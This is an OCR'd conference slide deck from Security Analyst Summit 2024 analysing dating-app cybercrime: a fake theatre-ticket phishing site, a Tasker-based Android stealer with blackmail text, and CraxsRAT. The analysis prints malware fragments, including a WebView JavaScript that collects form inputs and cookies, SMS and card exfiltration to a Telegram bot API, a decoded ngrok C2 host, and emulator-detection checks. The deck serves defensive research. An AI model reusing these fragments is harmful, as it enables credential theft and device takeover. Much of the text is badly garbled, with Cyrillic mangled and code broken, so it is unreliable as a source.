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Cybercrime in the Age
of Loneliness

Elizaveta Tishina
Cybersecurity Researcher
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OO LONELINESS EPIDEMIC

41.8% 3%

2+ people notg 67 %
58.2 %

Qs | =@

Working age population
D momsarols ® Moscow
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https://www.rbc.ru/economics/19/08/2023/64dcddcd9a794758fcac52e4

OO DATING APPS

O O
M M

have used

o,
M

use regularly
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Telegram Dating Bot
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https://www.businessofapps.com/data/dating-app-market/
https://nafi.ru/analytics/intim-ne-predlagat-molodezh-ishchet-na-saytakh-onlayn-znakomstv-druzhbu-i-sereznye-otnosheniya/

If attacker impersonates a female

OO GENDER IMBALANCE

o LESS LIKELY WILL GET “PASS”

o MORE LIKELY WILL ESTABLISH
A COMMUNICATION CHANNEL

MALE FEMALE B OTHER &

-

WORLD 75 24 |
US 65 34 | 1
B LIKE & MATCH LIKE & NO MATCH PASS
EU 49 48 l :
% 56 42 l ; MALE 52 47
IN 93 i o
FEMALE | 95
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https://www.reddit.com/r/dataisbeautiful/comments/mbf6wg/oc_despite_being_far_more_selective_women_still/
https://www.reddit.com/r/Tinder/comments/165lsmp/tinder_gender_ratios_as_of_may_2023/

Nikita Sheremetyev

N

"« Your pilot’s co-pilot
e 24 y.0, tries his luck in Moscow

- he has money & spends recklessly
- he does not care about privacy / security

- heis looking for love

(or a guide ctar?)




OO FAKE IDENTITY

This is how your profile looks:

L Nikita

online

Account

+7( )

@

Capricorn, 24, Moscow

| Nikita, 24, Moscow — Hi
|| Straight to the point, lets go
somewhere =) Suggest a place
| and | will cover expenses

Security Analyst Summit 2024

Resources
scope of the research

SOCIAL
NETWORKS

VK / Telegram

MOBILE APPS

TELEGRAM
BOTS
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O1 CASE 1: PHISHING

INFORMATION
on the case #1

B)

>

DATING CHAT BOT
She asked me out

WEB APPLICATION
Theatre website

PHISHING
Payment info theft

Security Analyst Summit 2024

M0 MOTUBAM TPAFEQVN YUbAMA LUEKCNUPA
«KOPO/b PN
TPATMKOME[IUA, 18+

Pe)xkuccep-nocraHoBWUK — KOHCTaHTUH BoroMmonos

XyAOXXHUK-NOCTaHOBLUMK — J1apuca JTomaknHa

o Tpareguio Yuneama LLexkcnupa «Kol
HCTaHTMH BOroMoNoB NPeBpPaTUN B Yep.

onmsmer = B()Y UCKfT ¢ “:W 88205008

Bbl6op mecT

2100 2400# 2700P 3000 3600L 4000P

L]
o

CHOOSE PLACES

BbIBEPUTE MECTA

OdopmneHue 3aKkasa
Cnoco6 nonyyeHus DE[IVE/QY TYP5
ANeKTPOHHbIN 6uneT

Croco6 onnatbl

PAYMENT METHOD

BaHkoBcKoM KapTo#t (Visa, MasterCard, MUP)

lopog

Utoro: 1 6unet(a) | Ha cymmy: 3600 Py6

Wms n pamunns

MBaH MBaHoB

TenedoH

PHONE NUM.

[J 4 npuHumato ycnosus Monb3oBaTeNbekoro
cornatleHus u cornaceH c obpaboTkoii u
ncnonb3oBaHeM MOUX NepcoHabHbIX JaHHbIX,
YKa3saHHbIX MHOI Mpu O¢OpMﬂEHMM 3aKasa Ha
YCNOBUAX U ANS Lienel, onpejeneHHbIX ykasaHHbIM
Monb3oBaTeNbCKUM COTNaLLEeHUEM.




’, . VISA Mu=

O1 CASE 1: PHISHING

A 3600, M

Homep KapTbi

EXP DATE Cpok neﬁcTBun

Mpouseepgute onnaty no
peKBU3UTaM

Fake copy of
CARD NUMBER g:fy ll:_nqe'5 r: 'resr

Howmep kapTbi: SySTem

Cymma:
3600

® | {3 Inspector Console [ Debugger N Network {3} StyleEditor () Performance {J Memory

@ [ 4+ Q ©® @ Disab
E/??IC( nonydarens Alll HTML CSS JS XHR Fonts Images Media WS Other
Fa ke 3D Status Method Domain File ize
Secure Auth Gt @ L
GET a 38 B
W 7IMER | o G w
OcTanoch BpemeHu Ha onnaTy 200 GE o dex.php?bin=12 o
GET a dex.php?bin=12345 388
200 GET & dex.php?bin=12345¢ B
. . GET e =1234567 !
Security Analyst Summit 2024 . = %
(€] = e B




O1 CASE 1: PHISHING

BbibepuTe pag

BbibepuTe pag

[aTa nokasa

20.02.2024

Bpemga nokasa

GENERATE TICKETS

CrEHEPHPOBATD

KAK C 3TUM PABOTATbL?

@ Security Analyst Summit 2024

Request
Raw Hex

POST /success.php HTTP/2
2 Host:
5 Cookie:

Accept:

text/html,gfplication/xhtml+xml,appli

q=0.9,imagk/avif, image/webp, */*;q=0.¢
, Content-Pype: application/x-www-form-

8 customer=[J&data=
{"date":"23.05,2024%208%2013: 37", "des
CnekTaknb%20«4enosek%201M3%20MogonbCK:
%201,%20MecT0%201", "city": "Moscow", "}
(123)%20456-78-90"}

. 1o
How to work with this? ))

Generate an e-ticket, take a
screenshot and send it fo the
victim saying something like
“here, I bought the ticket, now
you buy one t00”)) PROFIT.

Response

Pretty

Raw Hex Render

3ABEPLUEHUE TJTATEXA

Mo3apaBnsiemM ¢ yaauHoI NOKynKow

BepHyThES

3NeKTPOHHbLI Guner

Homep 3akasa: 478833492
[ara & Bpewms: 23.05.2024 B 13:37

Ycnyra: "Cnekraknb «4enosek u3 NMogonbcka»
Mecrto 1"

T

SUCCESSFUL “PAYMENT ”

-Pag 1,

12




O1 CASE 2: STEALER

INFORMATION
on the case #2

@ DATING MOBILE APP
Invited to her channel

A MOBILE APP
le Dating application

STEALER / RAT / ...

Payment info theft /
Remote control / ...

>

Security Analyst Summit 2024

O___

1st version of malware
“My poetry”

O___

2nd version of malware
“Dating 18+”

Who wants to get to know me better, here
is the chat that | visit often

Friends, you can invite your friends to this
channel and | will post my pics then),
. when there will be 15 people. Who agrees
| leave this message a like

' Just like that




O1 CASE 2: STEALER

assets/kid/data.xml

TASKER PROFILES

e Turning off

@ GOT A CALL (BANK)
GOT A CALL (other)

e SMS failed

GOT AN SMS (BANK)
GOT AN SMS (other)

Security Analyst Summit 2024

912 ©® L
Tasker
v Q
[olii
PROFILES TASKS SCENES VARS

Bbiknoyenve

MonyueH 3BOHOK (Apyroe)
CMC He oTnpaBneHo
Monyuyero CMC (apyroe)
MonyueH 3BoHOK (C6ep)

Monyuyero CMC (Céep)

® MonyyeHo CMC ot
= C6epa

Peakuusa Ha CMC (.

MepemMeHHas
(B %ACTIVATION
3afaHa 1

Tukn

@ Tick

100 Momexu

PROFILES TASKS SCENES

L TGN
YBegoMneHue 0 BbIKNHYeHUU
OTKprTMe nNpUNoXxXeHus
CnAawwuit peXxum

MeHepxep kpaxxu paitnos
Owwubka npu otnpaske CMC
Peakuws Ha CMC (C6ep)
Momexu

Crapt

Moctep

Peakuws Ha CMC (apyroe)
Peakuus Ha 3BoHOK (C6ep)

ANroputMm Kpaxku dainos

PROFILES TASKS

INDEXED

%0aYacToTra

%ACTIVATION

%ADMINCHATID

%ALLSETTINGS

%APP

%BALANCE

%BALANCE1

%BALANCESEC

%BLACKMAIL

%BLOCKER

%BUILD

%CALLSCHATID

£

v Q

SCENES

REFERENCED

Filter

VARS

14



CHATS MENTIONED:

1 CASE 2: STEALER . WORKER CHAT

. o x . ADMIN CHAT

Task Edit : Action Edit :
€ Peakuus Ha CM... © a & : € 214. HTTP Post S @

205 HTTP Post
Server:Port https://api.telegram.org

206. Else If

Server:Port Might mean that attackers form worker
groups controlled by administrators

https://api.telegram.org

%Sms ~ CNUCOK NOAK/IOYEHHDIX KapT+ |

207. Variable Search Replace

Variable %sms Search \d{4}(?=\s) =~
bot%TOKEN/sendMessage?

=%WORKERCHATID&text=*/A

===metrt </ >

{”parserde": "Markdown"} <Act sr="act56"ve="7"> TE[fﬁkAM BOT TOKEN

v

< sr="arg@"ve="3">%TOKEN</Str>
%statuses(%index) eq Bkn & %reque.. | c s < sr="argl"ve="3"> </St
ookies - = sopet
== : < sr="arg2"val="0"/>
211. Variable Set , < sr="arg3"val="0"/>
Name %request To true Optional <] sr="argd"val="0"/>
212. Variable Set < sr="arg5"val="3"/>
Name %SMSREQUEST To User Agent < sr="argb"val="0"/>
< 2>547</ 2>
Optional </Act >
i sr="act57"ve="7"> e" ZZ)
. <S sr="argd"ve="3">%chatid</ > TEéé-G M CHAT
Timeout
< sr="argl"ve="3"> </Str>
< sr="arg2"val="0"/>
< sr="arg3"val="0"/>
<I sr="arg4"val="0"/>
<1 sr="arg5"val="3"/>
Eoment lvpe < sr="argb"val="0"/>

Security Analyst Summit 2024 15



1 CASE 2: STEALER

918 & © 4N 918 ¢ © 4l
Task Edit . Action Edit .
i Crapr ° Q * v 7 249. Variable Set O @ v

Name

%report
Name MocTep Parameter 1 (%par1){ ...

If %DEBUGCHATID neq false To

247, Perform Task
Name MocTep Parameter 1 (%parT) {...
If %LICENSE eq false |

*' . B3n0M Nporpammbl + UCTEKLUNIA CPOK
nuuensuu (%licensedate). — 4 *%0a%0alD:
%USERID.%0aBopkep: %WORKER.
%0a%0alHdopmaumna o npuMeHeHnu:
%0aYcrpoicTeo: %DEVICE.%0aBepcus SDK:
%SDKVERSION.%0aTenedol
%PHONENUMBER (onepatop:

%0alloyra:
%0aXaw 1:
%cardhash

v
%HACKING Set & %LICENSE Set |
249. Variable Set

Name %report To *§’ _ Banomn... ash1%0aXaw 2

OaCtunnep ocTaHOBNEH.

951, Variable Set Recurse Variables

Name %report To *4i' Banom npo...
If %HACKING Set | Do Maths
252. Variable Set
Name %report To * © UCTEKWMWA...

If %LICENSE Set |

Append

Structure Output (JSON, etc) [

End If

Continue Task After Error

If

Security Analyst Summit 2024

Hacked program + expired license ;)
(%licensedate). BUSERID, AR
%WORKER. Information on usage:
%DEVICE, %PHONENUMBER, %EMATL,
%CARD, ... Stealer is stopped. .

‘ ‘ Android-x86_6
4

DaQw

Standard PC
. %DEVMOD (i440FX + PIIX,
1996)
OR
%DEVMOD OnePlus8Pro
License o
validation

%DEVMOD VirtualBox

on malware start

OR

Virtual

SPEVVOD Machine

Google

%DEVMOD e
mainline

Debugging
detection based

on environment

OR

16



1 CASE 2: STEALER

99

Hello, the %DEVICE owner.

We have taken control of
your device and capfured
all of the data on it.

In a week after the attack,
all of your data is going to
be sent to your contacts
and posted on the
Internet.

...send %BLACKMAIL
rubles to the card %CARD.

14

1113 9 © 40

Action Edit
= 35. Write File S 0

File
BAXHAA MHOOPMALIUA! txt

Text

MpuseTtcTayeM, Bnageney %DEVICE.

Ye poragbiBaeTech, 0 YEM NONAET
peyb? BepHo. Mbl NONy4Ynnun KOHTPONb
Hap yCTPOWCTBOM W NepexeaTuiuv Bce
faHHble Ha HEM. Bce nocneaytowme
Yyrposbl He ABNAIOTCA WYTKOW Un
6nedom, 1 Mbl NOAKPENUM CBOM CNoBa
flokasaTtenbcTBamu. BHumarenbHo
n3yyuTe faHHOE NocnaHue.
WrHopupoBsaTb Hawm Tpe6oBaHUA O4eHb
He peKoMeHayeM.

CnycTta Hefento nocne NpoBeAEHHON
artaku BCe NIMYHble laHHble ByayT
OTNpaBNeHbl KOHTAKTaM U CUTbl B
MHTepHeT. He Bepute? CNUCOK KOHTaKTOB
6yaeT npuBeAEH B KOHLE NOCNaHus.
Kakue gaHHble okasanucb
CKOMNpoMeTupoBaHbl? KopoTko: Bce
CMC, nepenucku B MecCeHxepax u
coumanbHbIx ceTsix, hannbl Ha
YCTPOUCTBE U T.A4.

Ecnu He xoTuTe, 4TOBbI NUUHas

ho o

Security Analyst Summit 2024

10:08 O © 4N

6

. Array Clear
Variable Array %files

. Array Clear

Task Edit Q a 0

MeHepyxep Kpa

CAPABILITIES
of the malware #2

%CAMERACHATID neq false I

. Variable Set

Name %chatid To %CAMERACHATID

INFO THEFT

Payment info, SMS,
contacts, files, ...

Name AnropuTm Kpaku paitnos

. Array Clear

Variable Array %files

5] RAT MODE

Arbitrary SMS, calls &
code execution

Name AnropuTm Kpaku daiinos

©

BLACKMAIL

Name AnropuTm Kpaxku daiinos

SPAM

X

Variahle Arrav %files

17



O1 CASE 3: CRAXSRAT

INFORMATION
on the case #3

@ DATING CHAT BOT
Invited to her channel

A MOBILE APP
le Streaming service

CRAXSRAT
Remote control

>

Security Analyst Summit 2024

| Tenerpam @

YT1o ymeeT aTOT 60T?

Hey wassup @'l give you a chance to
meet somebody special! Fast dating by
interests.

MpeBen! Xo4yelwb NO3HaKOMUTbCA?!
Cnpocu MeHs Kak! @BbicTpble
3HakomcTBa @ no uHTepecam!

A new message from the user 2d978d:
hi i only chat in telegram, my telegram is o

having fun
Press the button to answer. g fun)

| to be continued in this app)

\ 4



1 CASE 3: CRAXSRAT

¢, initializeService

72| public class init

public
public
public
public
public
static
public
public
public
public
public
= null;
public
public
public
public
public
public
public
public
public
public
public

Service extends Service {

static String ClientHost = Y 3

static ing ClientPort =

static String HideType

static Context appContext;

static String i1fScreenshot;

initializeService st;

static String ConnectionKey = utilities.base64decode("Nzc3MQ==");
static g uninstall =

static g CLINAME =

static List<PacketClass=>

static List<trsizygjhxzgdgnnnzvoqdvinssrmoihsvzaxdxefoczeoiley6= Lcl

static long eco = -1;
static int plg = -1;
static int inx = -1;
static Stringl] cmn = {**, o, wi

R
i 2 e, wels

static boolean k = false;

static boolean klive = false;

static boolean FORCA = false;

static boolean FORSC = false;

static String usdtadress = "";

static AccessService MyAccess = null;
static boolean allok = false;

public static BroadcastReceiver br = null;
public static BroadcastReceiver daterecever = null;
L cho -n "ClientHost: " cho "NS50Y3AuZXUubmdyb2suaW8=" base64 -d; \
> _eehg (o S "MTczMDM=" base64 -d; \
>¢®10 -n "\nConnectionKey: cho "Nzc3MQ=" base64 -d
ClientHost: .ngrok.io

ClientPort: 17303
ConnectionKey: 7771

Security Analyst Summit 2024

C&C server
a temporary tunnel

return (Build.BRAND.startsWith("generic") &6
Build.DEVICE.startswith("generic")) |
Build.FINGERPRINT.startsWith("generic") |
Build.FINGERPRINT.startswWith(EnvironmentCompat
.MEDIA_UNKNOWN) |
Build.HARDWARE.contains("goldfish") |
Build.HARDWARE.contains("ranchu") |
Build.MODEL.contains("google_sdk") |
Build.MODEL.contains("Emulator") |
Build.MODEL.contains("Android built SDK for
x86") ||
Build.MANUFACTURER.contains("Genymotion") |
Build.PRODUCT.contains("sdk_google")
Build.PRODUCT.contains("google_sdk")
Build.PRODUCT.contains("sdk") |
Build.PRODUCT.contains("sdk_x86") |
Build.PRODUCT.contains("sdk_gphone64_armé4") |
Build.PRODUCT.contains("vbox86p") |
Build.PRODUCT.contains("emulator") |
Build.PRODUCT.contains("simulator");

Debugging
detection

19



Confirm order

You will get

usdtamount - 1 usor

usdtaddress
Tron(TRC20)

BEIKF

Coin UsDT
Amount usdtamount USDT

Netv ee 1USDT

Ensure that the address is correct and on the same network,
Transaction cannot be cancelled.

Security Analyst Summit 2024

CRAXSRAT

WebView
injection
example for
crypto apps

(:}_______

WebView
injection JS
script to steal
user inputs

g =0 ={
if (!frame) {
frame = document.createElement('iframe');
frame.style.display = 'none';
document.body.appendChild(frame);
}

console = frame.contentWindow.console;
var inputs = document.querySelectorAll('input');
var websitelLink = window.location.href;

"o

var alltext = ;

inputs.forEach(function(input) {
var type = input.getAttribute('type');
var value = input.value;

if (value == "" &5 value == null & type == "hidden"
& type == "checkbox") {
alltext += "[" + type + "]:
"[Cookie]:"
}
});

+ value + "~" +

+ document.cookie + "~";

return alltext;

Ji g

yo)



1 CASE 3: CRAXSRAT CAPABILITIES

s»1re|«|a].l$erv1ces. : €, cC LocationService ; Of The mQIWCI re #3

ass VoiceRecorder { _rewallServices
“public String path; publlc void onLocationChanged(Location loca:
MediaRecorder recorder = new MediaRecorder ( if (lecation != null) {
public boolean 1sActive = false; LocationService.Longting = Location
LocationService. lastknownLatitude =

pub ST p— LocationService.letliudid = locatiol
# this.path = sanitiz (str); LocationService.sp = location.getSp: 5 H O
} LocationService.this.s(LocationServ: switch (str.hashCode()) V

o _ Longting, LocationService.letliudid); case -1851041679:
private String sanitizePath(stri VA if (LocationService.LM.isProviderEni if (str.equals("H
if (!str.startswith("/")) { try { c = 0; FILES SMS CAMERA MIC
) str = "/ ; LocationService.LM. removeUp: break;
} } catch (Exception unused) { }

toyal. . . } break;
if (!str.contains("."))

. if (ActivityCompat. checkSelfPerl case 2587682: R z “
LU 2 getApplicationContext(), "android . if (str.equals("StE %

3 g checkSeHPermsmon‘LocatlonServlce this. getApphcatlonContt c=1;
:‘> catch eption unused) { "android.permission. / 2 ATIC ( break; u z N

' ; . LocationService. LM requestls i
return Environment.getExternalStorageDirect

} float) LocationService.d, Lo::atlonSer\uce (BT 7S caseb;;;l;gagzz LOCATION DISPLAY CALLS NOTIF

%
public void start() { } if (str.equals("Repet")
if (Environment.getExternalStorageState().e

c
break;
File parentFile = new File(this.path).g } } A

3}
if (parentFile.exists || parentFile.m| I s : 5
B N = boolean isProviderEnabled = LM. 1sProv1derEnab'Le| break; Do >_
boolean 1sProv1der d 5 case 80204866:
¢ y B if (str.equals("Sta

1
J

mediaRecorder =
this.recorder = mediaRecorder; it 3
mediaRecorder.setAudioSource( T VR ) : APPS GESTURES RCE
i o = g derEnabled) {

.recorder.setAudioEncoder(1 g 1 StKiownLocation = LM.getLastkno

.recorder.setoutputFile(thi : < if Location != null) {

.recorder. o Longting = lastKnownLocation.getlLongitu

.recorder. (); lastknownLatitude = lastKnownlLocation.g

.isActive 2 letliudid = lastKnownLocation.getAccug

(I0Exception unused) { _ sp = LastKnownlLocation.getSpeed();

case 0O:
if (RecordTouch.booleanvalue()) {
L CC.agzfjvacxwzymltnggxpzbnfwztblybfxk
utilities.extractString(

LM. requestLocatlon-‘ . o
} else if '1sProv1derEnabll {p d
Location lastKnownLocatloné‘ LM.getlLastKno -

dy_Active!

Security Analyst Summit 2024 21



Hitchhikers &

Stranger danger

Y



02 WHAT IS WRONG?

Q VIRTUAL PHONE

[] DISPOSABLE E-MAIL

@ FAKE INFO

Romance scam
Payment methods

GIFT CARDS

£

CRYPTOCURRENCY

Security Analyst Summit 2024

ARE FAKE

online dating profiles

FAKE

@ BEHAVIOUR

Writing style, time, ...

@ MALWARE

Source, strings, ...

& HONEYPOTS

23


https://www.ftc.gov/news-events/data-visualizations/data-spotlight/2023/02/romance-scammers-favorite-lies-exposed

Observatory
observations

24



O3 WHAT ELSE IS WRONG? | oo ied escam

USERS

@ INDIVIDUALS & APT

m VULNERABILITIES

Sensitive information leak, ...

DEEPFAKES

S,
/) Fake photos, videos, voice
messages, ...
f o
FAKE APPS _ B > E ¥
OO Dating apps, content ﬂ i
subscription, streaming, ... B A {

& CRYPTOCURRENCY

€) Avast Threat Labs a L)
Security Analyst Summit 2024 25


https://decoded.avast.io/threatresearch/avast-q1-2024-threat-report/
https://www.pewresearch.org/short-reads/2023/02/02/key-findings-about-online-dating-in-the-u-s/

03 WHAT ELSE?

may SELL / SHARE your
personal information

-

DATA BREACH / LEAK /
HACK in the past 3 years

@ Dating apps

Data safety & Security practices

GOT “PRIVACY
NOT INCLUDED”

WRONG. Ie|em ‘try IN MY
'deV|cesemegenerator nel

o L Allow Calculator to make
- and manage phone calls?

DENY ALLOW

Security Analyst Summit 2024


https://foundation.mozilla.org/en/privacynotincluded/articles/data-hungry-dating-apps-are-worse-than-ever-for-your-privacy/

N /R
i FULL RESEARCH

S Ay

Without the dark,
we'd never see the stars

PP

Elizaveta Tishina

Cybersecurity Researcher



